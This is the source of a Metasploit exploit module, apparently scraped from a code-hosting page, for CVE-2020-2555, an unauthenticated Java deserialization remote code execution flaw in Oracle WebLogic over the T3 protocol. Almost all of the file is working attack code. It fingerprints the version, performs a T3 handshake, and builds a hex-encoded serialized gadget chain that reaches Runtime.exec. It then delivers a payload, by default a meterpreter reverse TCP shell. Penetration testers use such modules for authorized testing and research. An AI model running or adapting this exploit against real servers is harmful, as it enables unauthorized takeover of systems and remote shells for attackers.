Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/misc/weblogic_deserialize_badattrval.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::CmdStager10include Msf::Exploit::Powershell11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'WebLogic Server Deserialization RCE - BadAttributeValueExpException',18'Description' => %q{19There exists a Java object deserialization vulnerability20in multiple versions of WebLogic.2122Unauthenticated remote code execution can be achieved23by sending a serialized BadAttributeValueExpException object24over the T3 protocol to vulnerable WebLogic servers.25},26'License' => MSF_LICENSE,27'Author' => [28'Jang', # Vuln Discovery29'Y4er', # PoC30'Shelby Pace', # Metasploit Module31'Steve Embling' # T3S support32],33'References' => [34[ 'CVE', '2020-2555' ],35[ 'URL', 'https://www.thezdi.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server' ],36[ 'URL', 'https://github.com/Y4er/CVE-2020-2555' ]37],38'Platform' => %w[unix linux win],39'Arch' => [ ARCH_X86, ARCH_X64 ],40'Privileged' => false,41'Targets' => [42[43'Windows',44{45'Platform' => 'win',46'Arch' => [ ARCH_X86, ARCH_X64 ],47'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }48}49],50[51'Unix',52{53'Platform' => %w[unix linux],54'CmdStagerFlavor' => 'printf',55'Arch' => [ ARCH_X86, ARCH_X64 ],56'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }57}58],59],60'DisclosureDate' => '2020-01-15',61'DefaultTarget' => 0,62'Notes' => {63'Reliability' => [REPEATABLE_SESSION],64'Stability' => [CRASH_SAFE],65'SideEffects' => [IOC_IN_LOGS]66}67)68)6970register_options([71Opt::RPORT(7001),72])7374register_advanced_options([75OptBool.new('FORCE_T3', [false, 'Force T3 protocol even over SSL', false])76])77end7879def check80connect8182web_req = "GET /console/login/LoginForm.jsp HTTP/1.1\nHost: #{peer}\n\n"83sock.put(web_req)84sleep(2)85res = sock.get_once8687versions = [ Rex::Version.new('12.1.3.0.0'), Rex::Version.new('12.2.1.3.0'), Rex::Version.new('12.2.1.4.0') ]8889return CheckCode::Unknown('Failed to obtain response from service') unless res9091/WebLogic\s+Server\s+Version:\s+(?<version>\d+\.\d+\.\d+\.*\d*\.*\d*)/ =~ res92return CheckCode::Unknown('Failed to detect WebLogic') unless version9394@version_no = Rex::Version.new(version)95print_status("WebLogic version detected: #{@version_no}")9697return CheckCode::Appears if versions.include?(@version_no)9899CheckCode::Detected('Version of WebLogic is not vulnerable')100ensure101disconnect102end103104def exploit105connect106print_status('Sending handshake...')107t3_handshake108109if target.name == 'Windows'110win_obj = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true })111win_obj.prepend('cmd.exe /c ')112win_obj = build_payload_obj(win_obj)113t3_send(win_obj)114else115execute_cmdstager116end117ensure118disconnect119end120121def t3_handshake122# t3 12.2.1\nAS:255123# \nHL:19\nMS:100000124# 00\n\n125if !datastore['SSL'] || datastore['FORCE_T3']126shake = '7433'127else128shake = '743373'129end130shake << '2031322e322e310a41533a323535'131shake << '0a484c3a31390a4d533a313030303030'132shake << '30300a0a'133134sock.put([shake].pack('H*'))135sleep(1)136sock.get_once137end138139# rubocop:disable Metrics/MethodLength140def build_payload_obj(payload_data)141payload_obj = 'aced' # STREAM_MAGIC142payload_obj << '0005' # STREAM_VERSION143payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC144payload_obj << '002e' # Class name length: 46145payload_obj << '6a617661782e6d616e61' # Class name: javax.management.BadAttributeValueExpException146payload_obj << '67656d656e742e426164'147payload_obj << '41747472696275746556'148payload_obj << '616c7565457870457863'149payload_obj << '657074696f6e'150payload_obj << 'd4e7daab632d4640' # SerialVersionUID151payload_obj << '020001' # Serialization flag, field num = 1152payload_obj << '4c0003' # Field type code: 4c = Object, field name length: 3153payload_obj << '76616c' # Field name: val154payload_obj << '740012' # String, length: 18155payload_obj << '4c6a6176612f6c616e672f4f626a6563743b' # Ljava/lang/Object;156payload_obj << '7872' # end block data, TC_CLASSDESC157payload_obj << '0013' # Class name length: 19158payload_obj << '6a6176612e6c616e672e' # java.lang.Exception159payload_obj << '457863657074696f6e'160payload_obj << 'd0fd1f3e1a3b1cc4' # SerialVersionUID161payload_obj << '020000' # Serializable, No fields162payload_obj << '7872' # end block data, TC_CLASSDESC163payload_obj << '0013' # Class name length: 19164payload_obj << '6a6176612e6c616e672e' # java.lang.Throwable165payload_obj << '5468726f7761626c65'166payload_obj << 'd5c635273977b8cb' # SerialVersionUID167payload_obj << '030004' # ?, then 4 fields168payload_obj << '4c0005' # Field type: Object, field name length: 5169payload_obj << '6361757365' # Field name: cause170payload_obj << '740015' # String, length: 21171payload_obj << '4c6a6176612f6c616e67' # Ljava/lang/Throwable;172payload_obj << '2f5468726f7761626c653b'173payload_obj << '4c000d' # Field type: Object, field name length: 13174payload_obj << '64657461696c4d657373616765' # Field name: detailMessage175payload_obj << '740012' # String, length: 18176payload_obj << '4c6a6176612f6c616e67' # Ljava/lang/String;177payload_obj << '2f537472696e673b'178payload_obj << '5b000a' # Field type: 5b = array, field name length: 10179payload_obj << '737461636b5472616365' # Field name: stackTrace180payload_obj << '74001e' # String, length: 30181payload_obj << '5b4c6a6176612f6c616e' # [Ljava/lang/StackTraceElement;182payload_obj << '672f537461636b547261'183payload_obj << '6365456c656d656e743b'184payload_obj << '4c0014' # Field type: Object, field name length: 20185payload_obj << '73757070726573736564' # Field name: suppressedExceptions186payload_obj << '457863657074696f6e73'187payload_obj << '740010' # String, length: 16188payload_obj << '4c6a6176612f7574696c' # Ljava/util/List;189payload_obj << '2f4c6973743b'190payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL191payload_obj << '71' # TC_REFERENCE192payload_obj << '007e0008' # handle?193payload_obj << '7075' # TC_NULL, TC_ARRAY194payload_obj << '72001e' # TC_CLASSDESC, Class name length: 30195payload_obj << '5b4c6a6176612e6c616e' # [Ljava.lang.StackTraceElement;196payload_obj << '672e537461636b547261'197payload_obj << '6365456c656d656e743b'198payload_obj << '02462a3c3cfd2239' # SerialVersionUID199payload_obj << '020000' # Serializable, No fields200payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL201payload_obj << '00000001'202payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC203payload_obj << '001b' # Class name length: 27204payload_obj << '6a6176612e6c616e672e' # java.lang.StackTraceElement205payload_obj << '537461636b5472616365'206payload_obj << '456c656d656e74'207payload_obj << '6109c59a2636dd85' # SerialVersionUID208payload_obj << '020004' # Serializable, 4 fields209payload_obj << '49000a' # Field type: 49 = Integer, field name length: 10210payload_obj << '6c696e654e756d626572' # lineNumber211payload_obj << '4c000e' # Field type: Object, field name length: 14212payload_obj << '6465636c6172696e6743'213payload_obj << '6c617373' # declaringClass214payload_obj << '71' # TC_REFERENCE215payload_obj << '007e0005' # handle216payload_obj << '4c0008' # Field type: Object, field name length: 8217payload_obj << '66696c654e616d65' # fileName218payload_obj << '71' # TC_REFERENCE219payload_obj << '007e0005' # handle220payload_obj << '4c000a' # Field type: Object, field name length: 10221payload_obj << '6d6574686f644e616d65' # methodName222payload_obj << '71' # TC_REFERENCE223payload_obj << '007e0005' # handle224payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL225payload_obj << '00000028'226227class_name = Rex::Text.rand_text_alphanumeric(8..14)228formatted_class = class_name.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join229230payload_obj << '74' # String231payload_obj << class_name.length.to_s(16).rjust(4, '0')232payload_obj << formatted_class # Originally Weblogic_2555 -> PoC class name233payload_obj << '74' # String234payload_obj << (class_name.length + 5).to_s(16).rjust(4, '0')235payload_obj << formatted_class # Originally Weblogic_2555.java236payload_obj << '2e6a617661' # .java237payload_obj << '740004' # String, length: 4238payload_obj << '6d61696e' # main239payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC240payload_obj << '0026' # Class name length: 38241payload_obj << '6a6176612e7574696c2e' # java.util.Collections$UnmodifiableList242payload_obj << '436f6c6c656374696f6e'243payload_obj << '7324556e6d6f64696669'244payload_obj << '61626c654c697374'245payload_obj << 'fc0f2531b5ec8e10' # SerialVersionUID246payload_obj << '020001' # Serializable, 1 field247payload_obj << '4c0004' # Field type: Object, field name length: 4248payload_obj << '6c697374' # list249payload_obj << '71' # TC_REFERENCE250payload_obj << '007e0007' # handle251payload_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC252payload_obj << '002c' # Class name length: 44253payload_obj << '6a6176612e7574696c2e' # java.util.Collections$UnmodifiableCollection254payload_obj << '436f6c6c656374696f6e'255payload_obj << '7324556e6d6f64696669'256payload_obj << '61626c65436f6c6c6563'257payload_obj << '74696f6e'258payload_obj << '19420080cb5ef71e' # SerialVersionUID259payload_obj << '020001' # Serializable, 1 field260payload_obj << '4c0001' # Field type: Object, field name length: 1261payload_obj << '63' # Field name: c262payload_obj << '740016' # String, length: 22263payload_obj << '4c6a6176612f7574696c' # Ljava/util/Collection;264payload_obj << '2f436f6c6c656374696f'265payload_obj << '6e3b'266payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL267payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC268payload_obj << '0013' # Class name length: 19269payload_obj << '6a6176612e7574696c2e' # java.util.ArrayList270payload_obj << '41727261794c697374'271payload_obj << '7881d21d99c7619d' # SerialVersionUID272payload_obj << '030001' # ?, 1 field273payload_obj << '490004' # Field type: Integer, field name length: 4274payload_obj << '73697a65' # size275payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL276payload_obj << '00000000'277payload_obj << '7704' # TC_BLOCKDATA, length: 4278payload_obj << '00000000'279payload_obj << '7871' # TC_ENDBLOCKDATA, TC_REFERENCE280payload_obj << '007e0015' # handle281payload_obj << '78' # TC_ENDBLOCKDATA282payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC283payload_obj << '0024' # Class name length: 36284payload_obj << '636f6d2e74616e676f73' # com.tangosol.util.filter.LimitFilter285payload_obj << '6f6c2e7574696c2e6669'286payload_obj << '6c7465722e4c696d6974'287payload_obj << '46696c746572'288payload_obj << limit_filter_uid # SerialVersionUID289payload_obj << '020006' # Serializable, 6 fields290payload_obj << '49000b' # Field type: Integer, field name length: 11291payload_obj << '6d5f635061676553697a65' # m_cPageSize292payload_obj << '490007' # Field type: Integer, field name length: 7293payload_obj << '6d5f6e50616765' # m_nPage294payload_obj << '4c000c' # Field type: Object, field name length: 12295payload_obj << '6d5f636f6d70617261746f72' # m_comparator296payload_obj << '740016' # String, length: 22297payload_obj << '4c6a6176612f7574696c' # Ljava/util/Comparator;298payload_obj << '2f436f6d70617261746f'299payload_obj << '723b'300payload_obj << '4c0008' # Field type: Object, field name length: 8301payload_obj << '6d5f66696c746572' # m_filter302payload_obj << '74001a' # String, length: 26303payload_obj << '4c636f6d2f74616e676f' # Lcom/tangosol/util/Filter;304payload_obj << '736f6c2f7574696c2f46'305payload_obj << '696c7465723b'306payload_obj << '4c000f' # Field type: Object, field name length: 15307payload_obj << '6d5f6f416e63686f7242' # m_oAnchorBottom308payload_obj << '6f74746f6d'309payload_obj << '71' # TC_REFERENCE310payload_obj << '007e0001' # handle311payload_obj << '4c000c' # Field type: Object, field name length: 12312payload_obj << '6d5f6f416e63686f72546f70' # m_oAnchorTop313payload_obj << '71' # TC_REFERENCE314payload_obj << '007e0001' # handle315316unless @version_no == Rex::Version.new('12.1.3.0.0')317payload_obj << add_class_desc318end319320payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL321payload_obj << '00000000'322payload_obj << '00000000'323payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC324payload_obj << '002c' # Class name length: 44325payload_obj << '636f6d2e74616e676f73' # com.tangosol.util.extractor.ChainedExtractor326payload_obj << '6f6c2e7574696c2e6578'327payload_obj << '74726163746f722e4368'328payload_obj << '61696e65644578747261'329payload_obj << '63746f72'330payload_obj << chained_extractor_uid # SerialVersionUID331payload_obj << '020000' # Serializable, no fields332payload_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC333payload_obj << '0036' # Class name length: 54334payload_obj << '636f6d2e74616e676f73' # com.tangosol.util.extractor.AbstractCompositeExtractor335payload_obj << '6f6c2e7574696c2e6578'336payload_obj << '74726163746f722e4162'337payload_obj << '737472616374436f6d70'338payload_obj << '6f736974654578747261'339payload_obj << '63746f72'340payload_obj << '086b3d8c05690f44' # SerialVersionUID341payload_obj << '020001' # Serializable, 1 field342payload_obj << '5b000c' # Field type: Array, field name length: 12343payload_obj << '6d5f61457874726163746f72' # m_aExtractor344payload_obj << '740023' # String, length: 35345payload_obj << '5b4c636f6d2f74616e67' # [Lcom/tangosol/util/ValueExtractor;346payload_obj << '6f736f6c2f7574696c2f'347payload_obj << '56616c75654578747261'348payload_obj << '63746f723b'349payload_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC350payload_obj << '002d' # Class name length: 45351payload_obj << '636f6d2e74616e676f73' # com.tangosol.util.extractor.AbstractExtractor352payload_obj << '6f6c2e7574696c2e6578'353payload_obj << '74726163746f722e4162'354payload_obj << '73747261637445787472'355payload_obj << '6163746f72'356payload_obj << abstract_extractor_uid # SerialVersionUID357payload_obj << '020001' # Serializable, 1 field358payload_obj << '490009' # Field type: Integer, field name length: 9359payload_obj << '6d5f6e546172676574' # m_nTarget360payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL361payload_obj << '00000000'362payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC363payload_obj << '0032' # Class name length: 50364payload_obj << '5b4c636f6d2e74616e67' # [Lcom.tangosol.util.extractor.ReflectionExtractor;365payload_obj << '6f736f6c2e7574696c2e'366payload_obj << '657874726163746f722e'367payload_obj << '5265666c656374696f6e'368payload_obj << '457874726163746f723b'369payload_obj << 'dd8b89aed70273ca' # SerialVersionUID370payload_obj << '020000' # Serializable, no fields371payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL372payload_obj << '00000003'373payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC374payload_obj << '002f' # Class name length: 47375payload_obj << '636f6d2e74616e676f73' # com.tangosol.util.extractor.ReflectionExtractor376payload_obj << '6f6c2e7574696c2e6578'377payload_obj << '74726163746f722e5265'378payload_obj << '666c656374696f6e4578'379payload_obj << '74726163746f72'380payload_obj << reflection_extractor_uid # SerialVersionUID381payload_obj << '02000' # Serializable, variable fields orig: 020002382payload_obj << reflect_extract_count383payload_obj << '5b0009' # Field type: Array, field name length: 9384payload_obj << '6d5f616f506172616d' # m_aoParam385payload_obj << '740013' # String, length: 19386payload_obj << '5b4c6a6176612f6c616e' # [Ljava/lang/Object;387payload_obj << '672f4f626a6563743b'388payload_obj << add_sect389payload_obj << '4c0009' # Object, length: 9390payload_obj << '6d5f734d6574686f64' # m_sMethod391payload_obj << '71' # TC_REFERENCE392payload_obj << '007e0005' # handle393payload_obj << '7871' # TC_ENDBLOCKDATA, TC_REFERENCE394payload_obj << (change_handle? ? '007e001d' : '007e001e')395payload_obj << '00000000'396payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC397payload_obj << '0013' # Class name length: 19398payload_obj << '5b4c6a6176612e6c616e' # [Ljava.lang.Object;399payload_obj << '672e4f626a6563743b'400payload_obj << '90ce589f1073296c' # SerialVersionUID401payload_obj << '020000' # Serializable, no fields402payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL403payload_obj << '00000002'404payload_obj << '74000a' # String, length: 10405payload_obj << '67657452756e74696d65' # getRuntime406payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC407payload_obj << '0012' # Class name length: 18408payload_obj << '5b4c6a6176612e6c616e' # [Ljava.lang.Class;409payload_obj << '672e436c6173733b'410payload_obj << 'ab16d7aecbcd5a99' # SerialVersionUID411payload_obj << '020000' # Serializable, no fields412payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL413payload_obj << '00000000'414payload_obj << add_tc_null415payload_obj << '740009' # String, length: 9416payload_obj << '6765744d6574686f64' # getMethod417payload_obj << '7371' # TC_OBJECT, TC_REFERENCE418payload_obj << (change_handle? ? '007e0021' : '007e0022')419payload_obj << '00000000'420payload_obj << '7571' # TC_ARRAY, TC_REFERENCE421payload_obj << (change_handle? ? '007e0024' : '007e0025')422payload_obj << '00000002' # array size: 2423payload_obj << '7075' # TC_NULL, TC_ARRAY424payload_obj << '71' # TC_REFERENCE425payload_obj << (change_handle? ? '007e0024' : '007e0025')426payload_obj << '00000000'427payload_obj << add_tc_null428payload_obj << '740006' # TC_STRING, length: 6429payload_obj << '696e766f6b65' # invoke430payload_obj << '7371' # TC_OBJECT, TC_REFERENCE431payload_obj << (change_handle? ? '007e0021' : '007e0022')432payload_obj << '00000000'433payload_obj << '7571' # TC_ARRAY, TC_REFERENCE434payload_obj << (change_handle? ? '007e0024' : '007e0025')435payload_obj << '00000001'436payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC437payload_obj << '0013' # Class name length: 19438payload_obj << '5b4c6a6176612e6c616e' # [Ljava.lang.String;439payload_obj << '672e537472696e673b'440payload_obj << 'add256e7e91d7b47' # SerialVersionUID441payload_obj << '020000' # Serializable, no fields442payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL443payload_obj << '00000003'444445payload_bin = format_payload(payload_data)446payload_obj << payload_bin447448# Original data449# ---------------------------450# payload_obj << '740007' # String, length: 7451# payload_obj << '2f62696e2f7368' # /bin/sh452# payload_obj << '740002' # String, length: 2453# payload_obj << '2d63' # -c454# payload_obj << '740017' # String, length: 23455# payload_obj << '746f756368202f746d70' # touch /tmp/blah_ze_blah456# payload_obj << '2f626c61685f7a655f62'457# payload_obj << '6c6168'458# ---------------------------459payload_obj << add_tc_null460461payload_obj << '740004' # String, length: 4462payload_obj << '65786563' # exec463payload_obj << '7070' # TC_NULL, TC_NULL464payload_obj << '7672' # TC_CLASS, TC_CLASSDESC465payload_obj << '0011' # Class name length: 17466payload_obj << '6a6176612e6c616e672e' # java.lang.Runtime467payload_obj << '52756e74696d65'468payload_obj << '00000000000000000000'469payload_obj << '00'470payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL471end472# rubocop:enable Metrics/MethodLength473474def change_handle?475@version_no == Rex::Version.new('12.1.3.0.0')476end477478def limit_filter_uid479case @version_no480when Rex::Version.new('12.1.3.0.0')481'99022596d7b45953'482when Rex::Version.new('12.2.1.3.0')483'ab2901b976c4e271'484else485'954e4590be89865f'486end487end488489def chained_extractor_uid490case @version_no491when Rex::Version.new('12.1.3.0.0')492'889f81b0945d5b7f'493when Rex::Version.new('12.2.1.3.0')494'06ee10433a4cc4b4'495else496'435b250b72f63db5'497end498end499500def abstract_extractor_uid501case @version_no502when Rex::Version.new('12.1.3.0.0')503'658195303e723821'504when Rex::Version.new('12.2.1.3.0')505'752289ad4d460138'506else507'9b1be18ed70100e5'508end509end510511def reflection_extractor_uid512case @version_no513when Rex::Version.new('12.1.3.0.0')514'ee7ae995c02fb4a2'515when Rex::Version.new('12.2.1.3.0')516'87973791b26429dd'517else518'1f62f564b951b614'519end520end521522def reflect_extract_count523case @version_no524when Rex::Version.new('12.2.1.3.0')525'3'526else527'2'528end529end530531def add_sect532sect = ''533534if @version_no == Rex::Version.new('12.2.1.3.0')535sect << '4c0011' # Object, length: 17536sect << '6d5f657874726163746f' # m_extractorCached537sect << '72436163686564'538sect << '71' # TC_REFERENCE539sect << '007e0001' # handle540end541542sect543end544545def add_class_desc546class_desc = ''547class_desc << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC548class_desc << '0034' # Class name length: 52549class_desc << '636f6d2e74616e676f73' # com.tangosol.util.filter.AbstractQueryRecorderFilter550class_desc << '6f6c2e7574696c2e6669'551class_desc << '6c7465722e4162737472'552class_desc << '61637451756572795265'553class_desc << '636f7264657246696c74'554class_desc << '6572'555class_desc << 'f3b98201f680eb90' # SerialVersionUID556class_desc << '020000' # Serializable, no fields557end558559def add_tc_null560return '70' if @version_no == Rex::Version.new('12.2.1.3.0')561562''563end564565def t3_send(payload_obj)566print_status('Sending object...')567568request_obj = '000009f3' # Original packet length569request_obj << '016501' # CMD_IDENTIFY_REQUEST, flags570request_obj << 'ffffffffffffffff'571request_obj << '00000071'572request_obj << '0000ea60'573request_obj << '00000018432ec6'574request_obj << 'a2a63985b5af7d63e643'575request_obj << '83f42a6d92c9e9af0f94'576request_obj << '72027973720078720178'577request_obj << '720278700000000c0000'578request_obj << '00020000000000000000'579request_obj << '00000001007070707070'580request_obj << '700000000c0000000200'581request_obj << '00000000000000000000'582request_obj << '01007006'583request_obj << 'fe010000' # separator584request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION585request_obj << '7372' # TC_OBJECT, TC_CLASSDESC586request_obj << '001d' # Class name length: 29587request_obj << '7765626c6f6769632e72' # weblogic.rjvm.ClassTableEntry588request_obj << '6a766d2e436c61737354'589request_obj << '61626c65456e747279'590request_obj << '2f52658157f4f9ed' # SerialVersionUID591request_obj << '0c0000' # flags?592request_obj << '787072' # TC_ENDBLOCKDATA, TC_NULL, TC_CLASSDESC593request_obj << '0024' # Class name length: 36594request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PackageInfo595request_obj << '6f6d6d6f6e2e696e7465'596request_obj << '726e616c2e5061636b61'597request_obj << '6765496e666f'598request_obj << 'e6f723e7b8ae1ec9' # SerialVersionUID599request_obj << '020009' # Serializable, 9 fields600request_obj << '490005' # Field type: Int, field name length: 5601request_obj << '6d616a6f72' # major602request_obj << '490005' # Field type: Int, field name length: 5603request_obj << '6d696e6f72' # minor604request_obj << '49000b' # Field type: Int, field name length: 11605request_obj << '70617463685570646174' # patchUpdate606request_obj << '65'607request_obj << '49000c' # Field type: Int, field name length: 12608request_obj << '726f6c6c696e67506174' # rollingPatch609request_obj << '6368'610request_obj << '49000b' # Field type: Int, field name length: 11611request_obj << '73657276696365506163' # servicePack612request_obj << '6b'613request_obj << '5a000e' # Field type: Z = Bool, field name length: 14614request_obj << '74656d706f7261727950' # temporaryPatch615request_obj << '61746368'616request_obj << '4c0009' # Field type: Object, field name length: 9617request_obj << '696d706c5469746c65' # implTitle618request_obj << '740012' # String, length: 18619request_obj << '4c6a6176612f6c616e67' # Ljava/lang/String;620request_obj << '2f537472696e673b'621request_obj << '4c000a' # Field type: Object, field name length: 10622request_obj << '696d706c56656e646f72' # implVendor623request_obj << '71007e0003' # TC_REFERENCE, handle624request_obj << '4c000b' # Field type: Object, field name length: 11625request_obj << '696d706c56657273696f6e' # implVersion626request_obj << '71007e0003' # TC_REFERENCE, handle627request_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL628request_obj << '7702' # TC_ENDBLOCKDATA629request_obj << '000078'630request_obj << 'fe010000' # separator631632request_obj << payload_obj633634request_obj << 'fe010000' # separator635request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION636request_obj << '7372' # TC_OBJECT, TC_CLASSDESC637request_obj << '001d' # Class name length: 29638request_obj << '7765626c6f6769632e72' # weblogic.rjvm.ClassTableEntry639request_obj << '6a766d2e436c61737354'640request_obj << '61626c65456e747279'641request_obj << '2f52658157f4f9ed' # SerialVersionUID642request_obj << '0c0000'643request_obj << '787072' # TC_ENDBLOCKDATA, TC_NULL, TC_CLASSDESC644request_obj << '0021' # Class name length: 33645request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PeerInfo646request_obj << '6f6d6d6f6e2e696e7465'647request_obj << '726e616c2e5065657249'648request_obj << '6e666f'649request_obj << '585474f39bc908f1' # SerialVersionUID650request_obj << '020007' # Serializable, 7 fields651request_obj << '490005' # Field type: Int, field name length: 5652request_obj << '6d616a6f72' # major653request_obj << '490005' # Field type: Int, field name length: 5654request_obj << '6d696e6f72' # minor655request_obj << '49000b' # Field type: Int, field name length: 11656request_obj << '70617463685570646174' # patchUpdate657request_obj << '65'658request_obj << '49000c' # Field type: Int, field name length: 12659request_obj << '726f6c6c696e67506174' # rollingPatch660request_obj << '6368'661request_obj << '49000b' # Field type: Int, field name length: 11662request_obj << '73657276696365506163' # servicePack663request_obj << '6b'664request_obj << '5a000e' # Field type: Z = Bool, field name length: 14665request_obj << '74656d706f7261727950' # temporaryPatch666request_obj << '61746368'667request_obj << '5b0008' # Field type: Array, field name length: 8668request_obj << '7061636b61676573' # packages669request_obj << '740027' # String, length: 39670request_obj << '5b4c7765626c6f676963' # [Lweblogic/common/internal/PackageInfo;671request_obj << '2f636f6d6d6f6e2f696e'672request_obj << '7465726e616c2f506163'673request_obj << '6b616765496e666f3b'674request_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC675request_obj << '0024' # Class name length: 36676request_obj << '7765626c6f6769632e63' # weblogic.common.internal.VersionInfo677request_obj << '6f6d6d6f6e2e696e7465'678request_obj << '726e616c2e5665727369'679request_obj << '6f6e496e666f'680request_obj << '972245516452463e' # SerialVersionUID681request_obj << '020003' # Serializable, 3 fields682request_obj << '5b0008' # Field type: Array, field name length: 8683request_obj << '7061636b61676573' # packages684request_obj << '71007e0003' # TC_REFERENCE, handle685request_obj << '4c000e' # Field type: Object, field name length: 14686request_obj << '72656c65617365566572' # releaseVersion687request_obj << '73696f6e'688request_obj << '740012' # String, length: 18689request_obj << '4c6a6176612f6c616e67' # Ljava/lang/String;690request_obj << '2f537472696e673b'691request_obj << '5b0012' # Field type: Array, field name length: 18692request_obj << '76657273696f6e496e66' # versionInfoAsBytes693request_obj << '6f41734279746573'694request_obj << '740002' # String, length: 2695request_obj << '5b42' # [B696request_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC697request_obj << '0024' # Class name length: 36698request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PackageInfo699request_obj << '6f6d6d6f6e2e696e7465'700request_obj << '726e616c2e5061636b61'701request_obj << '6765496e666f'702request_obj << 'e6f723e7b8ae1ec9' # SerialVersionUID703request_obj << '020009' # Serializable, 9 fields704request_obj << '490005' # Field type: Int, field name length: 5705request_obj << '6d616a6f72' # major706request_obj << '490005' # Field type: Int, field name length: 5707request_obj << '6d696e6f72' # minor708request_obj << '49000b' # Field type: Int, field name length: 11709request_obj << '70617463685570646174' # patchUpdate710request_obj << '65'711request_obj << '49000c' # Field type: Int, field name length: 12712request_obj << '726f6c6c696e67506174' # rollingPatch713request_obj << '6368'714request_obj << '49000b' # Field type: Int, field name length: 11715request_obj << '73657276696365506163' # servicePack716request_obj << '6b'717request_obj << '5a000e' # Field type: Z = Bool, field name length: 14718request_obj << '74656d706f7261727950' # temporaryPatch719request_obj << '61746368'720request_obj << '4c0009' # Field type: Object, field name length: 9721request_obj << '696d706c5469746c65' # implTitle722request_obj << '71007e0005' # TC_REFERENCE, handle723request_obj << '4c000a' # Field type: Object, field name length: 10724request_obj << '696d706c56656e646f72' # implVendor725request_obj << '71007e0005' # TC_REFERENCE, handle726request_obj << '4c000b' # Field type: Object, field name length: 11727request_obj << '696d706c56657273696f' # implVersion728request_obj << '6e'729request_obj << '71007e0005' # TC_REFERENCE, handle730request_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL731request_obj << '7702000078' # TC_BLOCKDATA, 2 bytes, TC_ENDBLOCKDATA732request_obj << 'fe00ff' # separator733request_obj << 'fe010000'734request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION735request_obj << '7372' # TC_OBJECT, TC_CLASSDESC736request_obj << '0013' # Class name length: 19737request_obj << '7765626c6f6769632e72' # weblogic.rjvm.JVMID738request_obj << '6a766d2e4a564d4944'739request_obj << 'dc49c23ede121e2a' # SerialVersionUID740request_obj << '0c0000'741request_obj << '787077' # TC_ENDBLOCKDATA, TC_NULL, TC_BLOCKDATA742request_obj << '4621'743request_obj << '000000000000000000'744request_obj << '09' # length: 9745request_obj << '3132372e302e312e31' # 127.0.1.1746request_obj << '000b' # length: 11747request_obj << '75732d6c2d627265656e' # us-l-breens748request_obj << '73'749request_obj << 'a53caff10000000700'750request_obj << '001b59'751request_obj << 'ffffffffffffffffffff'752request_obj << 'ffffffffffffffffffff'753request_obj << 'ffffffff'754request_obj << '0078'755request_obj << 'fe010000' # separator756request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION757request_obj << '7372' # TC_OBJECT, TC_CLASSDESC758request_obj << '0013' # Class name length: 19759request_obj << '7765626c6f6769632e72' # weblogic.rjvm.JVMID760request_obj << '6a766d2e4a564d4944'761request_obj << 'dc49c23ede121e2a' # SerialVersionUID762request_obj << '0c0000'763request_obj << '787077' # TC_ENDBLOCKDATA, TC_NULL, TC_BLOCKDATA764request_obj << '1d0181401281'765request_obj << '34bf427600093132372e'766request_obj << '302e312e31a53caff1'767request_obj << '000000000078'768769new_len = (request_obj.length / 2).to_s(16).rjust(8, '0')770request_obj[0, 8] = new_len771772sock.put([request_obj].pack('H*'))773sleep(1)774end775776def format_payload(payload_cmd)777print_status('Formatting payload...')778payload_arr = payload_cmd.split(' ', 3)779780formatted_payload = ''781payload_arr.each do |part|782formatted_payload << '74' # denotes a string783formatted_payload << part.length.to_s(16).rjust(4, '0')784formatted_payload << part.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join785end786787formatted_payload788end789790def execute_command(cmd, _opts = {})791cmd.prepend('/bin/sh -c ')792cmd = build_payload_obj(cmd)793794t3_send(cmd)795end796end797798799